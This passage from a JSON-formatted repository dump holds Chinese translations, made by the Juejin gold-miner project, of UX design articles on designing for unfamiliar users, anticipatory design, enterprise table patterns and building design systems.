ask yourself: What point do I want to make? And just go from there.\n\n*This was originally posted on [Toptal](https://www.toptal.com/designers/freelance/write-or-fade-away-as-a-designer).*\n"
  },
  {
    "path": "TODO/designing-a-product-youre-not-going-to-use.md",
    "content": "> * 原文地址：[Designing a Product You’re Not Going To Use](https://medium.com/@michalbaryoseph/designing-a-product-youre-not-going-to-use-7c3d069e84e8#.706sfym6k)\n* 原文作者：[Michal Turjeman](https://medium.com/@michalbaryoseph)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[jiaowoyongqi](https://github.com/jiaowoyongqi)\n* 校对者：[cbangchen](https://github.com/cbangchen), [mypchas6fans](https://github.com/mypchas6fans)\n\n# 设计一个你自己不会去用的产品\n\n当我告诉朋友说我的工作是设计一款主打运动新闻的产品，他们往往会说，“你了解运动吗？”。作为回应，我常常在电视上观看比赛，同时也知道一些基本的运动常识，但是我绝对不是运动迷，离运动迷还差远了。\n\n必须承认，当我开始为 90min 和 12up 的母公司 MinuteMedia 工作的时候是有所考虑的。毕竟我自己之前还是一位芭蕾舞者，所以现在设计一款面向运动爱好者的产品，听起来也是很适合的，不是吗？事实也的确如此。\n\n当我开始参与 90min 的设计时，就相信这是款很棒的产品。不仅是因为其外在，而是因为其核心理念。这不仅是一个发表足球文章的平台，而且是一个足球迷可以发声讨论的地方。它内容的独特之处立马打动了我。当我被指派去设计一款我们的新产品 12up 的时候，我知道这将会是个不小的挑战。当时我想到的是做一个 90min 的进化版。但这还不够，12up 涉及美国所有的运动，而对此我一无所知。我该如何把过往的产品打碎回炉，（找出可取之处）重新铸造一个优质的产品呢？而我又如何向其他工作人员表达自己对于新产品的看法呢？他们为 90min 倾注了心血，并彻夜赶工只为了解决用户的某一痛点。如果我告诉你这个过程十分的简单，那这肯定是一个弥天大谎。实际上整个过程花费了巨大的精力，其中就包含了成千上万的草图以及许多设计方案的尝试，而我们也从这段难忘的过程中得到了很多。\n\n我相信你们肯定也有同样的项目经历，所以我就自己的经历提出一些心得总结。\n\n#### 不懂就问\n\n不懂就问没啥好丢脸的，我们不可能什么都了解。是的我明白，提问题在任何一个设计项目中都十分重要，但是当你不是这个产品的目标用户，那么向相关的人进行提问就十分重要。提问是你试图解决问题的第一步。如果你对这个问题毫无所知那么你该如何解决它？所以勇于不耻下问吧，即使当别人听到“一场足球赛要多长时间”这种问题后一脸懵逼也不要紧。（真事儿）\n\n![](https://cdn-images-1.medium.com/max/1600/1*EmWQVu_aNLk3qPpCPJJ0YA.jpeg)\n\n图 [Sam Bunny](https://dribbble.com/sambunny)\n\n#### “我”永远不是用户\n\n我们总是会说：“我不会点击这个的”，“这个很好理解呀”，我们只知道**自己**如何在界面上进行操作。这里有两个概念，一个是你自己，另一个是用户，你是在为用户而设计。我也不完美，也时常会犯这样的错误。当我在和产品经理争论某个功能的时候，他总是会跟我说“可你并不是用户呀”。有时候你很难割舍那些你创造出来的东西（特别是当你已经深深爱上它的时候），但有时候确实需要为了更好的产品而牺牲掉某些东西。有时候我们只是需要一个想法，提出来然后该放手时就放手。当你在实践你的想法时，试着想想用户模型，是否这想法值得保留。你会惊奇地发现时刻考虑着目标用户将会帮你走出设计的困境，而不是纠结着自认为的完美主义。我为凯文，约翰，克里斯他们做设计，而不是为自己而设计，当我无法解决问题的时候，都会向他们求助。\n\n![](https://cdn-images-1.medium.com/max/1600/1*-UcyNbvC7CnUXX29iHmyaw.jpeg)\n\n图 [Willian Matiola](https://dribbble.com/willianmatiola)\n\n#### 你的直觉 vs A/B 测试\n\n当你对某事胸有成竹的时候，总是会满腔热血。我们的直觉很奇妙，有时候能给我们带来意想不到，但有时候又会带来灾难。学会控制这股不能名状的洪荒之力十分重要。\n\n在设计的时候，我总会有这样的感受，在做决定的时候，心里总会出现一个声音告诉我该如何做，但在把想法告诉团队里其他的小伙伴前，我会再想出另一套方案。然后我将会进行仔细的对比，并且测试并记录每一个解决方案的优劣。如果如实操作了，你就会清晰地发现哪一个才是更佳的方案。在你知道最佳的方案之后，就应该准备说服其他人了，但这并不是一件简单的事情。这里提一下来自我父亲的一个小小的建议，“如果你坚信某些东西，那就坚持说服其他人直到他们相信你为止”。我总是会以自己的方式来履行这一点。我的上司可以证明这一点：）\n\n#### 最后的建议\n\n我们在为更好的体验而设计，而具体是什么领域真的不重要。不要因为你缺少某方面的知识，或者你不是产品的目标用户而担心。而是应该考虑这个项目是不是你感兴趣的，是否对你而言有所挑战，想想一个前芭蕾舞者都能设计一款运动新闻产品，还有什么不可以的呢？：）\n"
  },
  {
    "path": "TODO/designing-anticipated-user-experiences.md",
    "content": "> * 原文地址：[Designing Anticipated User Experiences](https://uxdesign.cc/designing-anticipated-user-experiences-c419b574a417#.k46dd8myv)\n* 原文作者：[Joël van Bodegraven](https://uxdesign.cc/@jvb_nl?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[jifaxu](https://github.com/jifaxu)\n* 校对者：[marcmoore](https://github.com/marcmoore), [ZhangFe](https://github.com/ZhangFe)\n\n# 设计满足预期的用户体验 #\n\n\n## 如何做出不需要选择的设计 ##\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*nJbVyR1EpTAATNqVkn3xeA.png\">\n\n[预期设计](https://www.anticipatorydesign.com/)可能是在体验设计领域里的下一个重大飞跃。就像 Shapiro 说的那样：“[超前一步的设计](https://www.fastcodesign.com/3045039/the-next-big-thing-in-design-fewer-choices)”。这听上去有些疯狂，这又能将我们引向何处？又会对我们和技术的关系造成怎样的影响？\n\n我已经将我的硕士论文贡献给这个话题，在论文里鉴别两种原则，即随可预测 UX 到来的设计挑战和符合预期设计应用的设计模式。而最主要的论点是“预期设计会对我们与技术的关系造成怎样的挑战”。\n\n### 一个不需要进行选择的未来 ###\n\n预期设计是可预测 UX 领域里正在到来的设计理念，这种模式的前提是通过代表用户做出决定来减少他们的认知冲突。\n\n除了它承诺的这些可能的优点，很少有人研究预期设计可能带来的影响。它可能带来一些原则上的挑战，比如数据、隐私和经验泡沫，这将可能会阻碍可预测 UX 的发展。\n\n环境技术、智能操作系统和预期体验都是未来的发展方向。Google Home，Alexa，Siri 和 Cortana 都是智能个人助理，从您的行为，模式和数据中学习，并可能在不久的将来积极主动地预测您的需求。\n\n\n预期 UX 肯定是一个有前途的发展方向，它能够将我们从[每天要做的 20000 个决定](http://www.nytimes.com/2011/08/21/magazine/do-you-suffer-from-decision-fatigue.html?_r=1)中解放出来。\n\n### 少做选择，尽可能自动完成 ###\n\n预期设计是一种涉及了学习（物联网）、预测（机器学习）和预期（UX 设计）的设计理念。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*7L5dA1Cqb8Jz5aU1X900BA.png\">\n\n预期设计的构成\n\n物联网中的智能技术通过观察来学习，而我们的数据通过机器学习算法来解释。UX 设计对于提供无缝的预期体验，使用户远离技术至关重要。预期设计仅在所有三个参与者都可以有效协调工作时才起作用。\n\n作为一种设计原则，预测设计已经在很多产品中使用，而我们并没有积极地意识到这一点。诸如Nest、Netflix 和 Amazon 的 Echo 都是产品通过用户给定数据进行学习，调整和预测的良好示例。\n\n### 5 点在设计时需要考虑的因素 ###\n\n在过去几个月，我采访了 UX 和 AI 领域的几位专家。调查面临的挑战和需要考虑的因素。总结归纳出以下五点思考：\n\n#### 1. 针对经验泡沫进行设计 ####\n\n我们已经知道了在川普身上发生了什么，言论滤泡是真实存在的，我们大多数人被我们自己的“现实”环绕。Eli Pariser 在 2011 年描述了“言论滤泡”，新的个性化网络如何改变人们阅读的内容和人们的想法。当我们周围的设备预测我们的需求并采取行动时同样的风险也存在。一个经验泡沫会让你陷入一个循环的返回事件、行动和活动。是算法造成了这些回归事件。算法是二进制的，无法理解其背后的意义。令人担忧的是算法是不可交流的。应该有一种方法来教导算法分辨正确、错误和意外的行为。\n\n#### **2. 专注于扩展智能而不是人工智能** ####\n\n麻省理工学院媒体实验室的负责人 Joi Ito 提出了一个非常有趣的观点，让我关于设计原则的信念更加多彩。Ito 先生说，人类不应该追求机器人和广义 AI，而应该专注于扩展智能。因为人类的本性是使用技术作为自己的延伸。用机器代替我们的日常活动不符合人类的真正习惯。\n\n#### 3. **响应式算法使数据可理解** ####\n\n当前使用的算法是二进制的并且受限于用户的操作和输入。从概念上讲，他们假设对我们的行为是“个人的”和“可理解的”，但在现实生活中它许多 0 和 1 的问题。算法没有准备好用于预测系统，需要变得更灵敏以适应人们的动机和需求。重新访问反馈回路是实现响应的一种方式。这样，人们可以教算法，最重要的是**为什么**他们喜欢或不喜欢这样东西。\n\n#### **4. 个性化让交互更人性化** ####\n\n物联网是一个快速增长的市场，并且由移动优先转变为人工智能优先。首先，这意味着用户与他们的设备将有着更私人化和更独特的联系。\n\n当我采访受访者并询问问他们对于智能操作系统和人工智能的看法时，大多数人了提到电影《她》。这个角度是有趣的。然而，从 Siri、Cortana 和 Google Home 等智能助手的最新发展来看，缺少一个基本功能：**个性化**。\n\n个性为我们与设备的互动增加了巨大的价值，因为它给人以真实感。如果它富有个性，我们一定会更多的使用它。看看像 Siri 这样的服务，我相信在未来个性化将比大量的数据更重要。\n\n#### 5. 通过提供控制和透明度建立信任 ####\n\n今天，人们为了被推荐正确的内容需要注意自己的网上行为。当你为别人买了一件礼物后，很快就会被同样商品的广告所轰炸（同样的商品，对，就是你刚买完），这让人很恼火。\n\n算法常常误解我的行为，这里有很多改进的余地。数据交互已成为未来提升体验的关键因素。受访者们表达了他们对互联网缺乏透明度和控制力的担忧。很多个人数据最终都进入了“黑盒子”。没有人知道我们的数据如何被大型科技公司使用和处理。为自动化提供选择应该建立信任并促进增长。\n\n### UX 设计正在发生变化 ###\n\nUX 设计正在进化。更多的责任，互动和形式正在影响设计的方法。\n\n比如，用户界面有着越来越多的形式（例如，声控界面），这要求有不同的设计思维。由于构建预测性用户体验涉及到大量的用户隐私， UX 设计师的工作越来越与原则相关。\n\n随着完全自动化的面向消费者的系统的出现，对于减灾设计和引导原则渐渐有了一个清晰的观点，因为未来的设计师承担着着更多关于隐私的责任。\n\n目前基于 Rams, Nielsen(1998), Norman(2013)  和 Schneiderman(2009) 的设计原则不足以实现自动化，因为他们缺少关于透明度，控制，循环和隐私的原则。\n\n在自动化的背景下，经验设计的演变需要通过讨论和设计实践来减轻预测设计带来的挑战。\n\n#### 让我们继续讨论 ####\n\n可预测 UX 是一个日益增长的专业领域。UX 设计的工作随之正在改变。我们正在步入一个由 AI 驱动时代，重要的是分享设计故事，见解和实践，以继续将预测设计发展为一种模式并让可预测 UX 成为一种服务。\n\n[投身于这趟浪潮之中并分享你关于**预测 UX**和**预期设计**的见解](http://www.anticipatorydesign.com)\n\n[www.anticipatorydesign.com](http://www.anticipatorydesign.com)\n\n### 感谢阅读！###"
  },
  {
    "path": "TODO/designing-better-tables-for-enterprise-applications.md",
    "content": "\n> * 原文地址：[Designing better tables for enterprise applications](https://uxdesign.cc/designing-better-tables-for-enterprise-applications-f9ef545e9fbd)\n> * 原文作者：[Adhithya](https://uxdesign.cc/@adhithyarkumar)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/designing-better-tables-for-enterprise-applications.md](https://github.com/xitu/gold-miner/blob/master/TODO/designing-better-tables-for-enterprise-applications.md)\n> * 译者：[Lai](https://github.com/laiyun90)\n> * 校对者：[LeviDing](https://github.com/leviding) [Ruixi](https://github.com/Ruixi)\n\n# 为企业应用设计更好的表格\n\n## 深入了解如何在企业应用中设计表格，以及如何避免常见的错误\n\n![](https://cdn-images-1.medium.com/max/800/1*CtL7L-xuiyljKBcX6kxjug.jpeg)\n\n企业应用通常很复杂，因为要展示大量的包含多种来源、模式和用户信息的数据。需要先浏览一下复杂的图表、使用模式和数据列表，才能理解控制台的功能。\n\n> 设计企业应用程序最大的挑战是来自在特定场景中工作与否的模式示例的缺乏。\n\n由于大多数的企业应用程序都涉及与公司相关的敏感数据，所以很少有讨论设计企业应用程序时面临的常见问题的实例。现有的模式库深入讨论了每个组件如何运行工作，但是很少涉及何时使用它们。我们在设计库中看到的模式通常过于简单，而实际的企业应用程序在本质上数据和用例都更为复杂，这些模式并不起作用。 \n\n> 这些模式在建模仓中没什么问题，但是一旦碰到复杂的工作流、特定范围的用户类型或者大规模数据时，就不能正常运行了。\n\n![](https://cdn-images-1.medium.com/max/800/1*aNPBhln7iDMY8qRcmoyCfA.jpeg)\n\n### 企业界的表格\n\n下面是一个典型的企业应用界面。工作窗口里大量的面板上挤满了密密麻麻的信息，每个面板所指示的信息又和屏幕上的其他选项息息相关。\n\n![](https://cdn-images-1.medium.com/max/800/1*DrmyxDMEPv7lSGK4W6jNFA.png)\n\n图片来源：[http://docplayer.net/docs-images/24/3069798/images/8-0.png](http://docplayer.net/docs-images/24/3069798/images/8-0.png)\n\n如上所述，应用程序中最耗费空间的部分是**表格**。本文将帮助设计师根据具体情况来探讨表格的正确使用方法。\n\n一种过去大多面向消费者应用的模式，在企业界竟然也非常有效，并被广泛使用。然而也没有什么更好的方法，只有表格能展示庞大的数据列表。表格的作用在于企业应用的性质能够满足用户同时查看多行数据、通过警报扫描、比较数据，以及按照用户选择的任何特定顺序查看数据的要求。 \n\n下面的这张图片看起来像是一个非常正常的表格，起初可能丝毫不会质疑它的可用性。但当你进一步使用它的时候，你会发现操作起来有点奇怪。\n\n![](https://cdn-images-1.medium.com/max/800/1*hRCUhW9xF3DNMf_8iO7UGg.png)\n\n企业应用中非常普遍的表格。\n\n![](https://cdn-images-1.medium.com/max/800/1*aNPBhln7iDMY8qRcmoyCfA.jpeg)\n\n### 1. 表格上的链接\n\n![](https://cdn-images-1.medium.com/max/800/1*C9eu7Lcy_5K1hBA3cDIwRQ.png)\n\n也许会跳转到用户的个人资料页。\n\n第一个例子里，第一列上的链接可能暗示着点击后会跳转到用户的个人资料页面。虽然页面说明不是很清楚，但也不难猜到。\n\n但是下面这个例子就未必了，你能猜到点击下图中的链接会跳转哪里吗？\n\n![](https://cdn-images-1.medium.com/max/800/1*lNo9LTYR8NrnOt_IISKCGA.png)\n\n这似乎是某种与每行内容有关的代码。以这种方式设置链接，会让用户感到困惑。\n\n以上是一个来自企业应用程序的真实示例，点击链接后会将代码复制到剪贴板。但是这个操作不是很容易理解，应该避免这种意义不明的模式。\n\n![](https://cdn-images-1.medium.com/max/800/1*aNPBhln7iDMY8qRcmoyCfA.jpeg)\n\n### 2. 表格上的操作\n\n删除、移动、打印、导出等是非常常见的操作，特别是在同时处理多个项目时。大多数企业应用程序每行都会有一个操作，这样设置有时很有必要，因为需要对某些特定行执行操作。话虽如此，其实大多数操作可以从表格的行中推算出来，成为页面的不同部分。\n\n#### 靠近链接的操作\n\n![](https://cdn-images-1.medium.com/max/800/1*qMOnR1H0nqFA9o3QLR-z3A.png)\n\n要在一行中执行的操作位于距离标识列最远的最右边的列，而在本例中，操作位于第一列。\n\n一行中要执行的操作的距离不应该远离识别列。通常情况下，这会导致在错误行上执行操作。如若不然，用户需要在识别追踪行上花费过多精力，并努力避免点击操作到另外的行。这种模式很容易出错，设计时应该避免。\n\n#### 冗余操作\n\n![](https://cdn-images-1.medium.com/max/800/1*dKwoZRKsF3BUQQb5Fj9t5w.png)\n\n每行都有一个 **「删除」** 操作。\n\n在这个例子中每行都重复出现一个「删除」操作。想象一下，每行有 5、6 个重复的操作选项，会让表格看起来非常混乱。不仅如此，这样的表格中也不能同时删除多个选项，因为没有办法选择进行多选。\n\n![](https://cdn-images-1.medium.com/max/800/1*CJd_ovH-TA7Y_9jLV4dzow@2x.png)\n\n现代企业应用的一个示例，表格里每项之前都有一个复选框。\n\n在同一时间、同一个表格里，选择并执行多个项目上的操作的一个好的模式是每行都允许被选中。选中后，工具栏出现在表格的上方或下方，可以进行要执行的操作。\n\n![](https://cdn-images-1.medium.com/max/800/1*9zqme5j3KEbNZf2V0GJXkw@2x.png)\n\n在表格里选择多个项目后，有一个工具栏可以对所选项目执行操作。\n\n大多数具有表格形式的列表项的企业应用程序都遵循这种模式。但是一些设计师也发现，因为表格的每行都有复选框，所以在视觉上有点混乱、令人不知所措。\n\n在下图中可以看到，Google 收件箱的模式是，只有当鼠标悬停在该行的最左侧时，复选框才会显示出来。另外，对于操作能力较强的用户，可以使用 shift 快捷键同时选择多个项目。这是在表格上实现操作模式的一个非常好的例子。\n\n![](https://cdn-images-1.medium.com/max/800/1*TQxn1KS_PbVsqYeFaePDCg.gif)\n\n这种模式减少了视觉上的混乱，让用户可以思考如何实现多选。我也是尝试了几次后才找到一种可以多选的方法。\n\n只有图标的操作选项是另一种常用的让用户思考的模式，而一个经典的用户体验法则是 [别让用户思考](https://book.douban.com/subject/1901208/)。这种模式让用户记住每个图标的含义和位置。\n\n![](https://cdn-images-1.medium.com/max/800/1*aNPBhln7iDMY8qRcmoyCfA.jpeg)\n\n### 3. 表格的分页和搜索\n\n由于企业应用程序的数据量巨大，所以表格通常要运行多个页面。设计师希望了解用户是会通过翻页来查看数据，还是只查看第一页显示的内容。\n\n> 如果表格不需要翻页就能查看数据，那这种企业应用的表格模式就是成功的。\n\n如何实现表格不翻页就能查看数据呢? **优秀的过滤器和强大的搜索机制。**\n\n用户翻页是因为他们正在寻找特定的信息。所以在我们设计翻页之前，必须提出一个问题\n\n> 如何才能更快捷方便地在表格里查找信息？\n\n一个很好的成功解决方案是在自然语境的上下文中设置过滤器。也就是说，基于当前屏幕上的用户工作流程，过滤器显示与当前场景最相关的选项。\n\n![](https://cdn-images-1.medium.com/max/800/1*GyKRd_H80qoU-198Vnx5Dw.png)\n\n例如，在这个演示应用程序中，根据用户的不同工作流程阶段出现不同的过滤器。也许很难实现，但是一旦成功，将是用户体验的一个伟大胜利。\n\n**什么时候搜索能够起到帮助作用？**\n\n刚刚离开当前页面的时候..\n\n![](https://cdn-images-1.medium.com/max/800/1*-PSI6fE5geCxfCsO9jV24A.png)\n\n图片来源：[https://www.aspsnippets.com/Articles/Alphabet-Paging-using-Alphabetical-Pager-in-ASPNet-GridView.aspx](https://www.aspsnippets.com/Articles/Alphabet-Paging-using-Alphabetical-Pager-in-ASPNet-GridView.aspx)\n\n---\n\n现在我们知道了如何考虑分页设计，无论如何这是很有必要的。我最不能忍的一种分页方式是下图中呈现的项目限制：\n\n![](https://cdn-images-1.medium.com/max/800/1*0d74ZT5gQYQo3hxDtSXVhA.png)\n\n这个系统每页展示 10 条数据。\n\n用户在一页中只能查看 10 条数据，必须要翻页来查看第 11 条。为什么不能编写程序来查看表格下一页是否只有 1 到 3 条数据，如果是的话全部展示在当前这页呢？或者可以做得更好一点，判断条目少于 25 项不做分页。这些并不难实现，只是他们并没有多加考虑。\n\n#### 分页上多选被中断\n\n![](https://cdn-images-1.medium.com/max/800/1*cOnC-SXXAH0F39BAenXsgQ.gif)\n\n翻页后多选失效。\n\n用户勾选了第一页的三个选项，然后去勾选第二页的前四个选项，逻辑上来说，他点击删除按钮时，这 7 项会被全部删除。但是实际上并不会发生，因为分页时跨页面保留用户选择的信息实现起来技术挑战难度较大，成本也很高。\n\n表格中有分页时，选择**全部**项目是另一个挑战。用户只可能选择当前视图中的所有项，或者选择完整列表中的所有项。 \n\n![](https://cdn-images-1.medium.com/max/800/1*3hHg3-2lHMjQfOLrpJoqTg.gif)\n\n分页时选择全部项目可能会很混乱。\n\n上面的例子里，用户先选择了当前页面上的所有选项，然后在整个列表中选择了全部 3000 个选项。分页操作后，勾选的信息失效了。这又是由于分页技术的局限性，因为从工程技术角度来看，保留选择记忆的成本很高。\n\n**无限滚动或者延迟加载的效果又如何呢？**\n\n许多应用程序目前正在从全部分页模式转型到 Facebook 或 Twitter 风格的无限加载信息模式。对此，设计师们各执一词。对我个人而言，一个「加载更多」按钮效果最好。\n\n![](https://cdn-images-1.medium.com/max/800/1*O1e15RjpEpJU-8KQo34wdw.png)\n\n在当前加载的表格最后增加一个「加载更多」按钮。\n\n这只会加载当前视图中的内容，如果用户主动执行加载更多地操作，则会加载出更多内容。\n\n![](https://cdn-images-1.medium.com/max/800/1*aNPBhln7iDMY8qRcmoyCfA.jpeg)\n\n### 最后一点想法\n\n本文并不是一个设计表格的绝对正确的建议指南，只是一个设计表格时常见问题和解决这些问题的方法的集合。如果你有任何关于设计表格的补充建议，希望你能来信一起讨论。\n\n[Andrew Coyle](https://medium.com/@CoyleAndrew) 在[设计更好的数据表格](https://uxdesign.cc/design-better-data-tables-4ecc99d23356)一文中提出了很好的设计表格用户界面的建议。强烈建议你读一读，以便了解良好的表格交互实践。\n\n---\n\n本文图片模板来自[Sketch App Resources](https://www.sketchappsources.com/free-source/2490-payment-system-admin-template-sketch-freebie-resource.html)，是由[Jurij Ternicki](https://medium.com/@ternicki)制作的支付管理系统原型。\n\n![](https://cdn-images-1.medium.com/max/800/1*aNPBhln7iDMY8qRcmoyCfA.jpeg)\n\n**我是 Adhithya ，旧金山 OpenDNS 的产品设计师。**\n\n你可以关注我的 **[Twitter](https://twitter.com/adhithyaux)**； **[戳这里](http://www.adhithyakumar.com)** 查看我的作品；或者直接发邮件联系我 adhithya.ramakumar@gmail.com\n\n![](https://cdn-images-1.medium.com/max/800/1*aNPBhln7iDMY8qRcmoyCfA.jpeg)\n\nAdhithya 写了这篇文章来分享知识技能，并帮助设计社区成员成长。所有在 uxdesign.cc 上发布的文章都循序相同的[**设计哲学**](https://uxdesign.cc/the-design-community-we-believe-in-369d35626f2f)\n\n![](https://cdn-images-1.medium.com/max/800/1*aNPBhln7iDMY8qRcmoyCfA.jpeg)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/designing-design-system-for-complex-products.md",
    "content": "> * 原文地址：[Designing Design System for Complex Products](https://uxdesign.cc/designing-design-system-for-complex-products-5ff2d3051fa1)\n> * 原文作者：[Wen Wang](https://uxdesign.cc/@wenwang)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Changkun Ou](https://github.com/changkun/)\n> * 校对者：[horizon13th](https://github.com/horizon13th), [osirism](https://github.com/osirism)\n\n# 为复杂产品制定设计规范 #\n\n## 设计规范的好处及构建方法 ##\n\n> 译者注：本文部分术语有意译，具体为：设计规范（design system）、设计准则（design guidelines）、风格指南（style guide）、实时风格指南（live style guides）、实时库（live library）。\n>\n\n![](https://cdn-images-1.medium.com/max/2000/1*Foh-OxZWLDg_WjojpavgaA.png)\n\n> Bypass 的设计规范理念\n\n在我的上一篇文章 **『[如何从设计规范起步](https://medium.com/@wenwang/how-to-get-a-head-start-on-design-system-8a217676c1f9#.v42j4b53c)』** 中，我谈到了当我缺少资源时如何开始构建简单的风格指南。这次我将分享更多关于构建复杂产品设计规范（如 SaaS Web 应用）的知识。在文章的最后，我还会分享一些有用的资源。\n\n### 我们为什么开始 ###\n\n回到 2014 年初，我刚加入 Bypass 时，由于我们的产品非常复杂，出现了大量风格不一致的情况。有不同的按钮、不同的输入框、相同的元素不同的布局、相同的流程不同的交互。我们浪费了很多时间来辩论设计的细节，只是因为我们的产品没有固定的规则。这些不一致也给我们的用户带来了糟糕的体验：他们为此感到困惑，从而难以理解并学习这个产品。\n\n在开发方面，由于代码库里已有的样式过多，总是很难找到「对应的代码」。这种情况下，很多时候开发者不是复用原先的旧代码，而是写下新的代码，从而导致更多的不一致性。这是一个恶性循环，随着时间的推移，我们的团队也越来越大，沟通和产品交付也变得越发的难以把控。\n\n### 我们面临的问题 ###\n\n**1. 五十度灰:** 由于我们的产品非常复杂，总是难以保持一致。系统中有许多界面风格不一致的地方，包括不同的颜色、字体、字体大小等等。\n\n**2. 规则的匮乏:** 当我们的设计师正在构建一个新功能时，我们就很容易深陷细节困境。甚至连一些简单的问题诸如「我应该使用哪个组件？」和「我们应该引导用户进入新的页面，还是弹出对话框呢？」这样的问题都需要花费很多时间来进行决策。\n\n**3. 交付质量差:** 由于缺乏设计规则，不同的团队互相沟通是非常困难的。我曾经为了向开发者展示竟可能多的细节，会在设计稿中标注很多带有详细描述的参考「红线」。然而这并不是一种有效的手段，有时开发者并没有遵循我所有的设计细节。\n\n想象一下，你的团队上线了一个新的项目而且其他所有人都在庆祝，但是你却看到了一大堆设计错误。你必须保持和其他人一样开心，是还是不是？\n\n![](https://cdn-images-1.medium.com/max/800/1*jSQ79eaoZwXK1PfAneOoSw.gif)\n\n> 「开心的你」\n\n**4. 不一致的代码库:** 由于没有制定规则，有时候开发者们在一个新项目中只会直接复用基础代码库中已实现的相似代码；而有时候，他们却会去实现一个风格完全不同的全新组件，这进一步使代码复杂化了。\n\n**5. 用户困惑:** 我们的用户需要一条有逻辑的路径来学习产品的使用并构建关于它的心理模型。然而我们做出的这些不一致性会让他们在得不到预期反馈时感到困惑并且沮丧。\n\n### 如何构建一个设计规范 ###\n\n#### 1.从设计准则开始 ###\n\n风格指南是设计规范的基础设施，要了解更多关于它的细节，可以参考我之前的文章 **『[如何从设计规范起步](https://medium.com/@wenwang/how-to-get-a-head-start-on-design-system-8a217676c1f9#.tf4xqdc8e)』** 。\n\n#### *可选项: 构建一个实时库 ###\n\n![](https://cdn-images-1.medium.com/max/800/1*Yiyf4mk5mkfcqPWrgYi_VQ.png)\n\n> Lightining 设计规范\n\n如果你有一个做前端的朋友，或者你可以自己写代码，一个实时库可以让每个人的生活变得更加轻松。它是一个高效的让前端开发者避免错误、加快开发过程并保持一致的工具。[Lightning Design](https://www.lightningdesignsystem.com/) 的设计规范和 [Angular material](https://material.angularjs.org/latest/) 都是非常好的实时库例子。\n\n给你自己找一个关心设计细节的**前端朋友**。然后再和他/她讨论风格指南里的组件，并找到最好的方法来构建他们。有时候他们会冒出一些你从未考虑过的惊人的想法，因此聆听你朋友的想法，然后记录每个组件的代码，并确保开发人员可以轻松地了解和复用他们。\n\n![](https://cdn-images-1.medium.com/max/800/1*PMfV38WM5jb3GXHoI_WrSQ.gif)\n\n> 发现那些关心 CSS 的开发者 #uxreactions via [@uxreactions](http://twitter.com/uxreactions)\n\n#### 2. 从风格指南到设计规范 ####\n\n![](https://cdn-images-1.medium.com/max/800/1*NNNOKwfGHTy_AenCXzLLEA.png)\n\n> iOS 设计准则\n\n在构建风格指南的过程中，你还会获得关于这个产品的更多知识。风格指南完成后，你可以继续收入准则、原则和规则。\n\n你可以记录一些非常详细的规则。例如你可以有一个章节专门介绍「**如何删除一个对象**」，在这里介绍「**编辑对象、触发编辑面板、删除对象、弹出确认对话框、确认删除对象、使用『对象已删除』作为返回后的索引**」。\n\n![](https://cdn-images-1.medium.com/max/800/1*bj_72i4q0C_126MFFsAm6Q.png)\n\n你还可以为每个设计模式添加「应该」和「不应该」的例子。它将帮助人们清楚地了解如何复用这些组件。并且你还可以在哪种情况下描述哪种条件设计师应该使用哪种设计模式。\n\n\n### 拥有设计规范的优势 ###\n\n#### 产品人员的有效工具 ####\n\n设计规范是帮助设计师顺利流畅运作「厨房」的食谱。使用相同的购置食材，设计师可以持续向客户提供优秀的「佳肴」。设计师可以在这个设计规范的库中找到什么原料，以及它们应该搭配什么样的时间和地点进行使用。同时它也是一个非常好的交接工具，以确保大家想法一致。\n\n#### 开发人员的有效工具 ####\n\n一个具有全局组件的实时库能够加快开发过程。它允许开发者能复制和粘贴代码，并让他们的工作更加简单、高效并减少错误。每个开发者也可以为这个库做贡献，使其成为一个「不断进化的规范」。\n\n#### **平滑的交接工具** ####\n\n随着公司的发展，合作和转换工作变得越来越难。通过设计规范，交接变得更加容易和平滑。有三类人可以从中获益。\n\n**对于 QA 人员来说，**他们知道要测试什么，以及交付是否符合设计规则。对于**设计师**来说，全局交互上已经无可争辩了。此外，设计师可以在其他设计师的设计文件上工作，且不会有任何混淆。对于**开发者**而言，他们可以清楚的理解设计文件，并以正确的方式构建他们。\n\n#### 质量交付，一致的界面及期望 ####\n\n由于一致的组件和设计规则，我们获得了高质量且全面的结果。对于我们的用户来说，他们更加容易学习及操作。现在他们可以很容易的学习这个规范，并且每次都能够获得预期的反馈。\n\n### 当设计规范实现后 ###\n\n给生活带来一个伟大的设计规范就像是这样：\n\n![](https://cdn-images-1.medium.com/max/800/1*3g_2gFQcimSuR_pHRN_OdA.gif)\n\n>  **重新设计一个旧的应用程序** #uxreactions via [@uxreactions](http://twitter.com/uxreactions)\n\n而且你公司里的每个人大抵都是这种状态：\n\n![](https://cdn-images-1.medium.com/max/800/1*stS5w9PQ4ibBRSsDVPyfDA.gif)\n\n### 风格指南的资源和工具 ###\n\n以下是我用于构建我们的设计规范时的资源和工具列表，它们对初学者都非常有帮助。\n\n感谢 @[Ignacio Giri](https://medium.com/@nacho?source=post_header_lockup) 对我上一篇关于风格规范工具文章中的评论。考虑不同的用法，我还将附上一些 CMS 工具。如果你具备任何配置和前端知识，这些工具可以帮助你和你的团队非常简单地构建实时库。\n\n#### CMS 工具集 ####\n\n**[1]**[**Github**](https://github.com/)\n\nGithub 是一个来管理实时风格指南的开发者友好的工具。这里有一些非常有帮助的文章讨论了如何使用 GitHub 来管理风格指南：[Shyp 